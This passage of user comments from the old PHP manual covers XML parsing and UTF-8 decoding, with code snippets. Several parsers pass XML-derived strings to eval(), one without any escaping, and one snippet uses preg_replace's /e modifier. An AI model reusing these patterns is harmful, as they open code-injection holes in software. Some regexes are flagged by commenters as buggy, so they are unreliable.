     $currentCount = count($currentElements);
     $parentElement = $currentElements[$currentCount-2];
     $thisElement = $currentElements[$currentCount-1];

     if($parentElement == "item"){
         $newsArray[$itemCount-1][$thisElement] = $data;}
     else{
         switch($name){
           case "title":
               break;
           case "link":
               break;
           case "description":
               break;
           case "language":
               break;
           case "item":
               break;}}

   }

   // If the XML element has ended, it is poped off the hierarchy
   function endElement($parser, $name)
   {

     global $currentElements;

     $currentCount = count($currentElements);
     if($currentElements[$currentCount-1] == $name){
         array_pop($currentElements);}

   }

?>
talraith at withouthonor dot com
03-Feb-2004 06:27
I have created a class set that both parses XML into an object structure and from that structure creates XML code.  It is mostly finished but I thought I would post here as it may help someone out or if someone wants to use it as a base for their own parser.  The method for creating the object is original compared to the posts before this one.

The object tree is created by created seperate tag objects for each tag inside the main document object and associating them together by way of object references.  An index table is created so that each tag is assigned an ID number (in numerical order from 0) and can be accessed directly using that ID number.  Each tag has object references to its children.  There are no uses of eval() in this code.

The code is too long to post here, so I have made a HTML page that has it:  http://www.withouthonor.com/obj_xml.html

Sample code would look something like this:

<?

$xml = new xml_doc($my_xml_code);
$xml->parse();

$root_tag =& $xml->xml_index[0];
$children =& $root_tag->children;

// and so forth

// To create XML code using the object, would be similar to this:

$my_xml = new xml_doc();

$root_tag = $my_xml->CreateTag('ROOTTAG');
$my_xml->CreateTag('CHILDTAG',array(),'',$root_tag);

// The following is used for the CreateTag() method
// string Name (The name of the child tag)
// array Attributes (associative array of attributes for tag)
// string Content (textual data for the child tag)
// int ParentID (Index number for parent tag)

// To generate the XML, use the following method

$out_xml = $my_xml->generate();

?>
bradparks at bradparks dot com
18-Dec-2003 06:38
Hey;

If you need to parse XML on an older version of PHP (e.g. 4.0) or if you can't get the expat extension enabled on your server, you might want to check out the Saxy and DOMIT! xml parsers from Engage Interactive. They're opensource and pure php, so no extensions or changes to your server are required. I've been using them for over a month on some projects with no problems whatsoever!

Check em out at:

DOMIT!, a DOM based xml parser, uses Saxy (included)
http://www.engageinteractive.com/redir.php?resource=1&target=domit

or

Saxy, a sax based xml parser
http://www.engageinteractive.com/redir.php?resource=2&target=saxy

Brad
condor33NOSPAM at tiscali dot it
10-Dec-2003 03:01
This is a variation to the routine posted here by
jon at gettys dot org to convert an XML file
into a php structure.
I did not find a cleaner method than "eval"
as he asks, but anyway his way is not so bad.

<?php
Class xmlread
 {

   var $tree = '$this->ogg';
   var $ogg    ;
   var $cnt = 0;

   /************
   * change_to_array
   * is called by startElement
   * to check if there is need
   * to change element to array
   ************/
   function change_to_array($test,$is_arr) {
   if ($test and !$is_arr):  //if element is set, change it to array
     eval('$tmp = '.$this->tree.';'); //save element to tmp
     eval('unset('.$this->tree.');'); //unset element
     eval(''.$this->tree.'= array();'); //transform $this->tree in an array
     eval('array_push('.$this->tree.',$tmp);');//push old object
                                               //into the array
     return true;
   endif;
   if ($is_arr)
     return true;
   }

   /************
   * startElement
   ************/
   function startElement($parser, $name, $attrs)
   {
     $this->tree = $this->tree."->".$name;  //add tag to tree string
                                           //test if element is an array
     eval('$is_arr = is_array('.$this->tree.');');
                                       //test if element is set
     eval('$test = isset('.$this->tree.');');
                                 //if is already set (and not array)...
                                 //...change it to array
     $is_arr = $this->change_to_array($test,$is_arr);

     if ($is_arr):                  //if is an array
       $this->cnt = $this->cnt+1;    //increase counter
                   //and set tree-string to add element
       $this->tree = $this->tree.'['.$this->cnt.']';
     endif;

   return true;}

   /************
   * characterData
   ************/
   function characterData($parser, $data)
   {
     if (trim($data)!=''):
       $data = addslashes($data);
               //add data to tree set up by startElement()
       eval($this->tree."='".trim($data)."';");
     endif;
   return true;}

   /************
   * endElement
   ************/
   function endElement($parser, $name)
   { //cut last ->element
     $pos  = strrpos($this->tree, ">");
     $leng = strlen($this->tree);
     $pos1 = ($leng-$pos)+1;
     $this->tree = substr($this->tree, 0, -$pos1);
   return true;}

   /************
   * get_data: this is the
   * parser
   ************/
       function get_data
       ($doc,$st_el='startElement',
       $end_el='endElement',
       $c_data='characterData') {
       $this->mioparser = xml_parser_create();
       xml_set_object($this->mioparser, &$this);
       xml_set_element_handler
       ($this->mioparser, $st_el,$end_el);
       xml_set_character_data_handler
       ($this->mioparser,$c_data);
       xml_parser_set_option
       ($this->mioparser, XML_OPTION_CASE_FOLDING, false);
       xml_parse($this->mioparser,$doc);
       if (xml_get_error_code($this->mioparser)):
         print "<b>XML error at line n. ".
         xml_get_current_line_number
         ($this->mioparser)." -</b> ";
         print xml_error_string
           (xml_get_error_code($this->mioparser));
       endif;
   return true; }

   function xmlread($doc) {
       $xml = file_get_contents('document.xml');
       $this->get_data($xml);
   return true; }

  }  //end of class

  ?>
chris at hitcatcher dot com
08-Nov-2003 06:48
In regards to jon at gettys dot org's XML object, The data should be TRIM()ed to remove any whitespace that could appear in CDATA entered as :

<xml_tag>
   cdata here. cdata here. cdata here. cdata here.
</xml_tag>

So, after applying fred at barron dot com's suggested change to the characterData function, the function should appear as:

function characterData($parser, $data)
{
   global $obj;
   $data = addslashes($data);
   eval($obj->tree."->data.='".trim($data)."';");
}

SIDE NOTE: I'm fairly new to XML so perhaps it is considered bad form to enter CDATA as I did in my example. Is this true or is the extra whitespace for the sake of readablity acceptable?
ml at csite dot com
02-Jul-2003 11:29
A fix for the fread breaking thing:

while ($data = fread($fp, 4096)) {

   $data = $cache . $data;

   if (!feof($fp)) {
       if (preg_match_all("(</?[a-z0-9A-Z]+>)", $data, $regs)) {
           $lastTagname = $regs[0][count($regs[0])-1];
           $split = false;
           for ($i=strlen($data)-strlen($lastTagname); $i>=strlen($lastTagname); $i--) {
               if ($lastTagname == substr($data, $i, strlen($lastTagname))) {
                   $cache = substr($data, $i, strlen($data));
                   $data = substr($data, 0, $i);
                   $split = true;
                   break;
               }
           }
       }
       if (!$split) {
           $cache = $data;
       }
   }

   if (!xml_parse($xml_parser, $data, feof($fp))) {
       die(sprintf("XML error: %s at line %d", xml_error_string(xml_get_error_code($xml_parser)), xml_get_current_line_number($xml_parser)));
   }
}
panania at 3ringwebs dot com
21-May-2003 06:12
The above example doesn't work when you're parsing a string being returned from a curl operation (why I don't know!) I kept getting undefined offsets at the highest element number in both the start and end element functions. It wasn't the string itself I know, because I substringed it to death with the same results. But I fixed the problem by adding these lines of code...

function defaultHandler($parser, $name) {
   global $depth;
@    $depth[$parser]--;
}

xml_set_default_handler($xml_parser, "defaultHandler");

Hope this helps 8-}
fred at barron dot com
23-Apr-2003 08:28
regarding jon at gettys dot org's nice XML to Object code, I've made some useful changes (IMHO) to the characterData function... my minor modifications allow multiple lines of data and it escapes quotes so errors don't occur in the eval...

function characterData($parser, $data)
{
   global $obj;
   $data = addslashes($data);
   eval($obj->tree."->data.='".$data."';");
}
software at serv-a-com dot com
18-Feb-2003 01:10
2. Pre Parser Strings and New Line Delimited Data
One important thing to note at this point is that the xml_parse function requires a string variable. You can manipulate the content of any string variable easily as we all know.

A better approach to removing newlines than:
while ($data = fread($fp, 4096)) {
$data = preg_replace("/\n|\r/","",$data); //flarp
if (!xml_parse($xml_parser, $data, feof($fp))) {...

Above works across all 3 line-delimited text files  (\n, \r, \r\n). But this could potentially (or will most likely) damage or scramble data contained in for example CDATA areas. As far as I am concerned end of line characters should not be used _within_ XML tags. What seems to be the ultimate solution is to pre-parse the loaded data this would require checking the position within the XML document and adding or subtracting (using a in-between fread temporary variable) data based on conditions like: "Is within tag", "Is within CDATA" etc. before fedding it to the parser. This of course opens up a new can of worms (as in parse data for the parser...). (above procedure would take place between fread and xml_parser calls this method would be compatible with the general usage examples on top of the page)

3. The Answer to parsing arbitrary XML and Preprocessor Revisited
You can't just feed any XML document to the parser you constructed and assuming that it will work! You have to know what kind of methods for storing data are used, for example is there a end of line delimited data in the  file ?, Are there any carriage returns in the tags etc... XML files come formatted in different ways some are just a one long string of characters with out any end of line markers others have newlines, carriage returns or both (Microsloth Windows). May or may not contain space and other whitespace between tags. For this reason it is important to what I call Normalize the data before feeding it to the parser. You can perform this with regular expressions or plain old str_replace and concatenation. In many cases this can be done to the file it self sometimes to string data on the fly( as shown in the example above). But I feel it is important to normalize the data before even calling the function to call xml_parse. If you have the ability to access all data before that call you can convert it to what you fell the data should have been in the first place and omit many surprises and expensive regular expression substitution (in a tight spot) while fread'ing the data.
software at serv-a-com dot com
18-Feb-2003 01:09
My previous XML post (software at serv-a-com dot com/22-Jan-2003 03:08) resulted in some of the visitors e-mailg me on the carriage return stripping issue with questions. I'll try to make the following mumble as brief and easy to understand as possible.

1. Overview of the 4096 fragmentation issue
As you know the following freads the file 4096 bytes at a time (that is 4KB) this is perhaps ok for testing expat and figuring out how things work, but it it rather dangerous in the production environment. Data may not be fully understandable due to fread fragmentation and improperly formatted due to numerous sources(formats) of data contained within (i.e. end of line delimited CDATA).

while ($data = fread($fp, 4096)) {
if (!xml_parse($xml_parser, $data, feof($fp))) {

Sometimes to save time one may want to load it all up into a one big variable and leave all the worries to expat. I think anything under 500 KB is ok (as long as nobody knows about it). Some may argue that larger variables are acceptable or even necessary because of the magic that take place while parsing using xml_parse. Our XML parser(expat) works and can be successfully implemented only when we know what type of XML data we are dealing with, it's average size and structure of general layout and data contained within tags. For example if the tags are followed by a line delimiter like a new line we can read it with fgets in and with minimal effort make sure that no data will be sent to the function that does not end with a end tag. But this require a fair knowledge of the file's preference for storing XML data and tags (and a bit of code between reading data and xml_parse'ing it).
software at serv-a-com dot com
23-Jan-2003 06:08
use:
while ($data = str_replace("\n","",fread($fp, 4096))){

instead of:
while ($data = fread($fp, 4096)) {
It will save you a headache.

and in response to (simen at bleed dot no 11-Jan-2003 04:27) "If the 4096 byte buffer fills up..."
Please take better care of your data don't just shove it in to the xml_parse() check and make sure that the tags are not sliced the middle, use a temporary variable between fread and xml_parse.
simen at bleed dot no
12-Jan-2003 07:27
I was experiencing really wierd behaviour loading a large XML document (91k) since the buffer of 4096, when reading the file actually doesn't take into consideration the following:

<node>this is my value</node>

If the 4096 byte buffer fills up at "my", you will get a split string into your xml_set_character_data_handler().

The only solution I've found so far is to read the whole document into a variable and then parse.
mreilly at ZEROSPAM dot MAC dot COM
15-Nov-2002 02:01
I wanted a way to reference the XML tree by path. I couldn't find exactly what I wanted, but using examples here and on phpbuilder.com came up with this. This results in a nested associative array, so elements can be accessed in the manner:

echo $ary_parsed_file['path']['to']['value'];

<?php

// Display the print_r() output in a readable format
echo '<PRE>';

// Array to store current xml path
$ary_path = array();

// Array to store parsed data
$ary_parsed_file = array();

// Starting level - Set to 0 to display all levels. Set to 1 or higher
// to skip a level that is common to all the fields.
$int_starting_level = 1;

// what are we parsing?
$xml_file = 'label.xml';

// declare the character set - UTF-8 is the default
$type = 'UTF-8';

// create our parser
$xml_parser = xml_parser_create($type);

// set some parser options
xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, true);
xml_parser_set_option($xml_parser, XML_OPTION_TARGET_ENCODING, 'UTF-8');

// this tells PHP what functions to call when it finds an element
// these funcitons also handle the element's attributes
xml_set_element_handler($xml_parser, 'startElement','endElement');

// this tells PHP what function to use on the character data
xml_set_character_data_handler($xml_parser, 'characterData');

if (!($fp = fopen($xml_file, 'r'))) {
   die("Could not open $xml_file for parsing!\n");
}

// loop through the file and parse baby!
while ($data = fread($fp, 4096)) {
   if (!($data = utf8_encode($data))) {
       echo 'ERROR'."\n";
   }
   if (!xml_parse($xml_parser, $data, feof($fp))) {
       die(sprintf( "XML error: %s at line %d\n\n",
       xml_error_string(xml_get_error_code($xml_parser)),
       xml_get_current_line_number($xml_parser)));
   }
}

xml_parser_free($xml_parser);

// Display the array
print_r($ary_parsed_file);

// This function is called for every opening XML tag. We
// need to keep track of our path in the XML file, so we
// will use this function to add the tag name to an array
function startElement($parser, $name, $attrs=''){

   // Make sure we can access the path array
   global $ary_path;

   // Push the tag into the array
   array_push($ary_path, $name);

   }

// This function is called for every closing XML tag. We
// need to keep track of our path in the XML file, so we
// will use this function to remove the last item of the array.
function endElement($parser, $name, $attrs=''){

   // Make sure we can access the path array
   global $ary_path;

   // Push the tag into the array
   array_pop($ary_path);

   }

// This function is called for every data portion found between
// opening and closing tags. We will use it to insert values
// into the array.
function characterData($parser, $data){

   // Make sure we can access the path and parsed file arrays
   // and the starting level value
   global $ary_parsed_file, $ary_path, $int_starting_level;

   // Remove extra white space from the data (so we can tell if it's empty)
   $str_trimmed_data = trim($data);

   // Since this function gets called whether there is text data or not,
   // we need to prevent it from being called when there is no text data
   // or it overwrites previous legitimate data.
   if (!empty($str_trimmed_data)) {

       // Build the array definition string
       $str_array_define = '$ary_parsed_file';

       // Add a [''] and data for each level. (Starting level can be defined.)
       for ($i = $int_starting_level; $i < count($ary_path); $i++) {

           $str_array_define .= '[\'' . $ary_path[$i] . '\']';

           }

       // Add the value portion of the statement
       $str_array_define .= " = '" . $str_trimmed_data . "';";

       // Evaluate the statement we just created
       eval($str_array_define);

       // DEBUG
       //echo "\n" . $str_array_define;

       } // if

   }

?>
sfaulkner at hoovers dot com
04-Nov-2002 04:29
Building on... This allows you to return the value of an element using an XPath reference.  This code would of course need error handling added :-)

 function GetElementByName ($xml, $start, $end) {
   $startpos = strpos($xml, $start);
   if ($startpos === false) {
     return false;
   }
   $endpos = strpos($xml, $end);
   $endpos = $endpos+strlen($end);
   $endpos = $endpos-$startpos;
   $endpos = $endpos - strlen($end);
   $tag = substr ($xml, $startpos, $endpos);
   $tag = substr ($tag, strlen($start));
   return $tag;
 }

 function XPathValue($XPath,$XML) {
   $XPathArray = explode("/",$XPath);
   $node = $XML;
   while (list($key,$value) = each($XPathArray)) {
     $node = GetElementByName($node, "<$value>", "</$value>");
   }

   return $node;
 }

  print XPathValue("Response/Shipment/TotalCharges/Value",$xml);
guy at bhaktiandvedanta dot com
28-Sep-2002 03:01
For a simple XML parser you can use this function. It doesn't require any extensions to run.

<?
// Extracts content from XML tag

function GetElementByName ($xml, $start, $end) {

   global $pos;
   $startpos = strpos($xml, $start);
   if ($startpos === false) {
       return false;
   }
   $endpos = strpos($xml, $end);
   $endpos = $endpos+strlen($end);
   $pos = $endpos;
   $endpos = $endpos-$startpos;
   $endpos = $endpos - strlen($end);
   $tag = substr ($xml, $startpos, $endpos);
   $tag = substr ($tag, strlen($start));

   return $tag;

}

// Open and read xml file. You can replace this with your xml data.

$file = "data.xml";
$pos = 0;
$Nodes = array();

if (!($fp = fopen($file, "r"))) {
   die("could not open XML input");
}
while ($getline = fread($fp, 4096)) {
   $data = $data . $getline;
}

$count = 0;
$pos = 0;

// Goes throw XML file and creates an array of all <XML_TAG> tags.
while ($node = GetElementByName($data, "<XML_TAG>", "</XML_TAG>")) {
   $Nodes[$count] = $node;
   $count++;
   $data = substr($data, $pos);
}

// Gets infomation from tag siblings.
for ($i=0; $i<$count; $i++) {
$code = GetElementByName($Nodes[$i], "<Code>", "</Code>");
$desc = GetElementByName($Nodes[$i], "<Description>", "</Description>");
$price = GetElementByName($Nodes[$i], "<BasePrice>", "</BasePrice>");
}
?>

Hope this helps! :)
Guy Laor
dmarsh dot NO dot SPAM dot PLEASE at spscc dot ctc dot edu
19-Sep-2002 03:27
Some reference code I am working on as "XML Library" of which I am folding it info an object. Notice the use of the DEFINE:

Mainly Example 1 and parts of 2 & 3 re-written as an object:
--- MyXMLWalk.lib.php ---
<?php

if (!defined("PHPXMLWalk")) {
define("PHPXMLWalk",TRUE);

class XMLWalk {
 var $p; //short for xml parser;
 var $e; //short for element stack/array

  function prl($x,$i=0) {
   ob_start();
   print_r($x);
   $buf=ob_get_contents();
   ob_end_clean();
   return join("\n".str_repeat(" ",$i),split("\n",$buf));
  }

 function XMLWalk() {
  $this->p = xml_parser_create();
  $this->e = array();
  xml_parser_set_option($this->p, XML_OPTION_CASE_FOLDING, true);
  xml_set_element_handler($this->p, array(&$this, "startElement"), array(&$this, "endElement"));
  xml_set_character_data_handler($this->p, array(&$this, "dataElement"));
  register_shutdown_function(array(&$this, "free")); // make a destructor
  }

  function startElement($parser, $name, $attrs) {
   if (count($attrs)>=1) {
     $x = $this->prl($attrs, $this->e[$parser]+6);
   } else {
     $x = "";
   }

   print str_repeat(" ",$this->e[$parser]+0). "$name $x\n";
   $this->e[$parser]++;
   $this->e[$parser]++;
  }

  function dataElement($parser, $data) {
   print str_repeat(" ",$this->e[$parser]+0). htmlspecialchars($data, ENT_QUOTES) ."\n";
  }

  function endElement($parser, $name) {
   $this->e[$parser]--;
   $this->e[$parser]--;
  }
  function parse($data, $fp) {
   if (!xml_parse($this->p, $data, feof($fp))) {
       die(sprintf("XML error: %s at line %d",
                   xml_error_string(xml_get_error_code($this->p)),
                   xml_get_current_line_number($this->p)));
   }
  }

  function free() {
   xml_parser_free($this->p);
  }

} // end of class

} // end of define

?>

--- end of file ---

Calling code:
<?php

...

require("MyXMLWalk.lib.php");

$file = "x.xml";

$xme = new XMLWalk;

if (!($fp = fopen($file, "r"))) {
   die("could not open XML input");
}

while ($data = fread($fp, 4096)) {
  $xme->parse($data, $fp);
}

...
?>
jon at gettys dot org
15-Aug-2002 04:59
[Editor's note: see also xml_parse_into_struct().]

Very simple routine to convert an XML file into a PHP structure. $obj->xml contains the resulting PHP structure. I would be interested if someone could suggest a cleaner method than the evals I am using.

<?
$filename = 'sample.xml';
$obj->tree = '$obj->xml';
$obj->xml = '';

function startElement($parser, $name, $attrs) {
   global $obj;

   // If var already defined, make array
   eval('$test=isset('.$obj->tree.'->'.$name.');');
   if ($test) {
     eval('$tmp='.$obj->tree.'->'.$name.';');
     eval('$arr=is_array('.$obj->tree.'->'.$name.');');
     if (!$arr) {
       eval('unset('.$obj->tree.'->'.$name.');');
       eval($obj->tree.'->'.$name.'[0]=$tmp;');
       $cnt = 1;
     }
     else {
       eval('$cnt=count('.$obj->tree.'->'.$name.');');
     }

     $obj->tree .= '->'.$name."[$cnt]";
   }
   else {
     $obj->tree .= '->'.$name;
   }
   if (count($attrs)) {
       eval($obj->tree.'->attr=$attrs;');
   }
}

function endElement($parser, $name) {
   global $obj;
   // Strip off last ->
   for($a=strlen($obj->tree);$a>0;$a--) {
       if (substr($obj->tree, $a, 2) == '->') {
           $obj->tree = substr($obj->tree, 0, $a);
           break;
       }
   }
}

function characterData($parser, $data) {
   global $obj;

   eval($obj->tree.'->data=\''.$data.'\';');
}

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startElement", "endElement");
xml_set_character_data_handler($xml_parser, "characterData");
if (!($fp = fopen($filename, "r"))) {
   die("could not open XML input");
}

while ($data = fread($fp, 4096)) {
   if (!xml_parse($xml_parser, $data, feof($fp))) {
       die(sprintf("XML error: %s at line %d",
                   xml_error_string(xml_get_error_code($xml_parser)),
                   xml_get_current_line_number($xml_parser)));
   }
}
xml_parser_free($xml_parser);
print_r($obj->xml);
return 0;

?>
danielc at analysisandsolutions dot com
16-Apr-2002 05:23
I put up a good, simple, real world example of how to parse XML documents. While the sample grabs stock quotes off of the web, you can tweak it to do whatever you need.

http://www.analysisandsolutions.com/code/phpxml.htm
jason at N0SPAM dot projectexpanse dot com
23-Mar-2002 05:16
In reference to the note made by sam@cwa.co.nz about parsing entities:

I could be wrong, but since it is possible to define your own entities within an XML DTD, the cdata handler function parses these individually to allow for your own implementation of those entities within your cdata handler.
jason at NOSPAM_projectexpanse_NOSPAM dot com
27-Feb-2002 08:11
For newbies wanting a good tutorial on how to actually get started and where to go from this listing of functions, then visit:
http://www.wirelessdevnet.com/channels/wap/features/xmlcast_php.html

It shows an excellent example of how to read the XML data into a class file so you can actually process it, not just display it all pretty-like, like many tutorials on PHP/XML seem to be doing.
hans dot schneider at bbdo-interone dot de
25-Jan-2002 12:43
I had to TRIM the data when I passed one large String containig a wellformed XML-File to xml_parse. The String was read by CURL, which aparently put a BLANK at the end of the String. This BLANK produced a "XML not wellformed"-Error in xml_parse!
morgan_rogers at yahoo dot com
06-Oct-2000 04:37
There's a really good article on XML parsing with PHP at http://www.zend.com/zend/art/parsing.php
sam at cwa dot co dot nz
28-Sep-2000 10:39
I've discovered some unusual behaviour in this API when ampersand entities are parsed in cdata; for some reason the parser breaks up the section around the entities, and calls the handler repeated times for each of the sections. If you don't allow for this oddity and you are trying to put the cdata into a variable, only the last part will be stored.

You can get around this with a line like:

$foo .= $cdata;

If the handler is called several times from the same tag, it will append them, rather than rewriting the variable each time. If the entire cdata section is returned, it doesn't matter.

May happen for other entities, but I haven't investigated.

Took me a while to figure out what was happening; hope this saves someone else the trouble.
Daniel dot Rendall at btinternet dot com
08-Jul-1999 01:21
When using the XML parser, make sure you're not using the magic quotes option (e.g. use set_magic_quotes_runtime(0) if it's not the compiled default), otherwise you'll get 'not well-formed' errors when dealing with tags with attributes set in them.
add a note add a note

后退 | 起点 | 前进
xdiff_string_patch | 上一级 | utf8_decode


utf8_decode

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

utf8_decode -- 将用 UTF-8 方式编码的 ISO-8859-1 字符串转换成单字节的 ISO-8859-1 字符串。

描述

string utf8_decode ( string data )

该函数将用 UTF-8 编码的数据解码为 ISO-8859-1 编码。

请参阅 utf8_encode() 以查看关于 UTF-8 编码的解释。

add a note add a note User Contributed Notes
benny at vh-dr dot com
21-Mar-2006 06:48
2ge, thanks a heap! i was about to go crazy over this stuff...
just edited your function a little, to replace whitespaces with +, and changing and to a plain e.

function urlize($url) {
 $search = array('/[\\s]/','//', '//', '/--+/', '/^-+/', '/-+$/' );
 $replace = array( '+', 'e', 'e', '-', '', '');
 return preg_replace($search, $replace, utf2ascii($url));
}
2ge at NO2geSPAM dot us
26-Jan-2006 05:00
Hello all,

I like to use COOL (nice) URIs, example: http://server/fucking-amal
I'm using UTF8 as input, so I have to write a function UTF8toASCII to have nice URI. Here is what I come with:

<?php
function urlize($url) {
 $search = array('/[^a-z0-9]/', '/--+/', '/^-+/', '/-+$/' );
 $replace = array( '-', '-', '', '');
 return preg_replace($search, $replace, utf2ascii($url));
}

function utf2ascii($string) {
 $iso88591  = "\\xE0\\xE1\\xE2\\xE3\\xE4\\xE5\\xE6\\xE7";
 $iso88591 .= "\\xE8\\xE9\\xEA\\xEB\\xEC\\xED\\xEE\\xEF";
 $iso88591 .= "\\xF0\\xF1\\xF2\\xF3\\xF4\\xF5\\xF6\\xF7";
 $iso88591 .= "\\xF8\\xF9\\xFA\\xFB\\xFC\\xFD\\xFE\\xFF";
 $ascii = "aaaaaaaceeeeiiiidnooooooouuuuyyy";
 return strtr(mb_strtolower(utf8_decode($string), 'ISO-8859-1'),$iso88591,$ascii);
}

echo urlize("Fucking ml");

?>

I hope this helps someone.
peter dot mescalchin at geemail dot com
27-Dec-2005 01:43
Adding to below I have a few more MS word characters that need replacing. Found this was required when "fixing" some phpmyadmin export scripts from a live server where MS word characters were all through the content - before importing them back into my local mySQL database.

The code I wrote for this process also does a strpos for any extra "\\xe2\\x80" strings - which are the tell-tale sign of any funny characters I want removed.

Here are my updated arrays()

<?php
$badchr = array(
   "\\xe2\\x80\\xa6",        // ellipsis
   "\\xe2\\x80\\x93",        // long dash
   "\\xe2\\x80\\x94",        // long dash
   "\\xe2\\x80\\x98",        // single quote opening
   "\\xe2\\x80\\x99",        // single quote closing
   "\\xe2\\x80\\x9c",        // double quote opening
   "\\xe2\\x80\\x9d",        // double quote closing
   "\\xe2\\x80\\xa2"        // dot used for bullet points
   );

$goodchr = array(
   '...',
   '-',
   '-',
   '\\'',
   ''',
   '"',
   '"',
   '*'
   );
?>
php-net at ---NOSPAM---lc dot yi dot org
08-Dec-2005 04:04
I've just created this code snippet to improve the user-customizable emails sent by one of my websites.

The goal was to use UTF-8 (Unicode) so that non-english users have all the Unicode benefits, BUT also make life seamless for English (or specifically, English MS-Outlook users).  The niggle: Outlook prior to 2003 (?)  does not properly detect unicode emails.  When "smart quotes" from MS Word were pasted into a rich text area and saved in Unicode, then sent by email to an Outlook user, more often than not, these characters were wrongly rendered as "greek".

So, the following code snippet replaces a few strategic characters into html entities which Outlook XP (and possibly earlier) will render as expected.  [Code based on bits of code from previous posts on this and the htmlenties page]
<?php
   $badwordchars=array(
       "\xe2\x80\x98", // left single quote
       "\xe2\x80\x99", // right single quote
       "\xe2\x80\x9c", // left double quote
       "\xe2\x80\x9d", // right double quote
       "\xe2\x80\x94", // em dash
       "\xe2\x80\xa6" // elipses
   );
   $fixedwordchars=array(
       "&#8216;",
       "&#8217;",
       '&#8220;',
       '&#8221;',
       '&mdash;',
       '&#8230;'
   );
   $html=str_replace($badwordchars,$fixedwordchars,$html);
?>
yannikh at gmeil dot com
08-Dec-2005 03:34
I had to tackle a very interesting problem:

I wanted to replace all \xXX in a text by it's letters. Unfortunatelly XX were ASCII and not utf8. I solved my problem that way:
<?php preg_replace ('/\\\\x([0-9a-fA-F]{2})/e', "pack('H*',utf8_decode('\\1'))",$v); ?>
thierry.bo # netcourrier point com
02-Oct-2005 03:53
to complete my previous test, here is the summarize with :

- if ($string == utf8_decode($string))
- if ($string == iconv('UTF-8', 'UTF-8', $string)

201 lines are valid UTF8 strings using phpnote regexp
203 lines are valid UTF8 strings using j.dittmer regexp
200 lines are valid UTF8 strings using fhoech regexp
239 lines are valid  UTF8 strings using using mb_detect_encoding
203 lines are valid  UTF 8 strings using using utf8_decode
224 lines are valid  UTF 8strings using using iconv

If we trust the file used for this test, no need to use a regexp, use XML::utf8_decode() to test your strings, you get the same detection chance as the three regexp tested, and XML Parser extension is almost always available, unlike Iconv and Multibyte String functions.
thierry.bo # netcourrier point com
01-Oct-2005 03:38
In response to fhoech (22-Sep-2005 11:55), I just tried a simultaneous test with the file UTF-8-test.txt using your regexp, 'j dot dittmer' (20-Sep-2005 06:30) regexp (message #56962), `php-note-2005` (17-Feb-2005 08:57) regexp in his message on `mb-detect-encoding` page (http://us3.php.net/manual/en/function.mb-detect-encoding.php#50087) who is using a regexp from the W3C (http://w3.org/International/questions/qa-forms-utf-8.html), and PHP mb_detect_encoding function.

Here are a summarize of the results :

201 lines are valid UTF8 strings using phpnote regexp
203 lines are valid UTF8 strings using j.dittmer regexp
200 lines are valid UTF8 strings using fhoech regexp
239 lines are valid  UTF8 strings using using mb_detect_encoding

Here are the lines with differences (left to right, phpnote, j.dittmer and fhoech) :

Line #70 : NOT UTF8|IS UTF8!|IS UTF8! :2.1.1 1 byte (U-00000000): ""
Line #79 : NOT UTF8|IS UTF8!|IS UTF8! :2.2.1 1 byte (U-0000007F): ""
Line #81 : IS UTF8!|IS UTF8!|NOT UTF8 :2.2.3 3 bytes (U-0000FFFF): "&#65535;" |
Line #267 : IS UTF8!|IS UTF8!|NOT UTF8 :5.3.1 U+FFFE = ef bf be = "&#65534;" |
Line #268 : IS UTF8!|IS UTF8!|NOT UTF8 :5.3.2 U+FFFF = ef bf bf = "&#65535;" |

Interesting is that you said that your regexp corrected j.dittmer regexp that failed on 5.3 section, but it my test I have the opposite result ?!

I ran this test on windows XP with PHP 4.3.11dev. Maybe these differences come from operating system, or PHP version.

For mb_detect_encoding I used the command :

mb_detect_encoding($line, 'UTF-8, ISO-8859-1, ASCII');
fhoech
23-Sep-2005 01:55
Sorry, I had a typo in my last comment. Corrected regexp:

^([\\x00-\\x7f]|
[\\xc2-\\xdf][\\x80-\\xbf]|
\\xe0[\\xa0-\\xbf][\\x80-\\xbf]|
[\\xe1-\\xec][\\x80-\\xbf]{2}|
\\xed[\\x80-\\x9f][\\x80-\\xbf]|
\\xef[\\x80-\\xbf][\\x80-\\xbd]|
\\xee[\\x80-\\xbf]{2}|
\xf0[\\x90-\\xbf][\\x80-\\xbf]{2}|
[\\xf1-\\xf3][\\x80-\\xbf]{3}|
\\xf4[\\x80-\\x8f][\\x80-\\xbf]{2})*$
fhoech
23-Sep-2005 01:12
JF Sebastian's regex is almost perfect as far as I'm concerned. I found one error (it failed section 5.3 "Other illegal code positions" from http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt) which I corrected as follows:

^([\\x00-\\x7f]|
[\\xc2-\\xdf][\\x80-\\xbf]|
\\xe0[\\xa0-\\xbf][\\x80-\\xbf]|
[\\xe1-\\xec][\\x80-\\xbf]{2}|
\\xed[\\x80-\\x9f][\\x80-\\xbf]|
\\xef[\\x80-\\xbf][\\x80-\\xbc]|
\\xee[\\x80-\\xbf]{2}|
\\xf0[\\x90-\\xbf][\\x80-\\xbf]{2}|
[\\xf1-\\xf3][\\x80-\\xbf]{3}|
\\xf4[\\x80-\\x8f][\\x80-\\xbf]{2})*$

(Again, concatenate to one single line to make it work)
j dot dittmer at portrix dot net
20-Sep-2005 08:30
The regex in the last comment has some typos. This is a
syntactically valid one, don't know if it's correct though.
You've to concat the expression in one long line.

^(
[\x00-\x7f]|
[\xc2-\xdf][\x80-\xbf]|
[\xe0][\xa0-\xbf][\x80-\xbf]|
[\xe1-\xec][\x80-\xbf]{2}|
[\xed][\x80-\x9f][\x80-\xbf]|
[\xee-\xef][\x80-\xbf]{2}|
[\xf0][\x90-\xbf][\x80-\xbf]{2}|
[\xf1-\xf3][\x80-\xbf]{3}|
[\xf4][\x80-\x8f][\x80-\xbf]{2}
)*$
chris at mrwsp dot com
09-Aug-2005 06:54
A small improvement.

JF Sebastian's regex for UTF-8 is not quite correct.  Because code points could otherwise be coded in more than one way using UTF-8, the Standard stipulates that the shortest possible representation for a character should be used.  So some 'duplicate' combinations his regex accepts are not valid UTF-8.  Additionally, his regex accepts characters beyond the valid Unicode code space.

The regex should be:

^([\x00-\x7f]|
[\xc2-\xdf][\x80-\xbf]|
[\xe0][\xa0-\xbf][\x80-xbf]|
[\xe1-\xec][\x80-\xbf]{2}|
[\xed][\x80-\x9f][\x80-\xbf]|
[\xee-\xef][\x80-\xbf]{2}|
[\xf0][\x90-\xbf][\x80-\xbf]{2}|
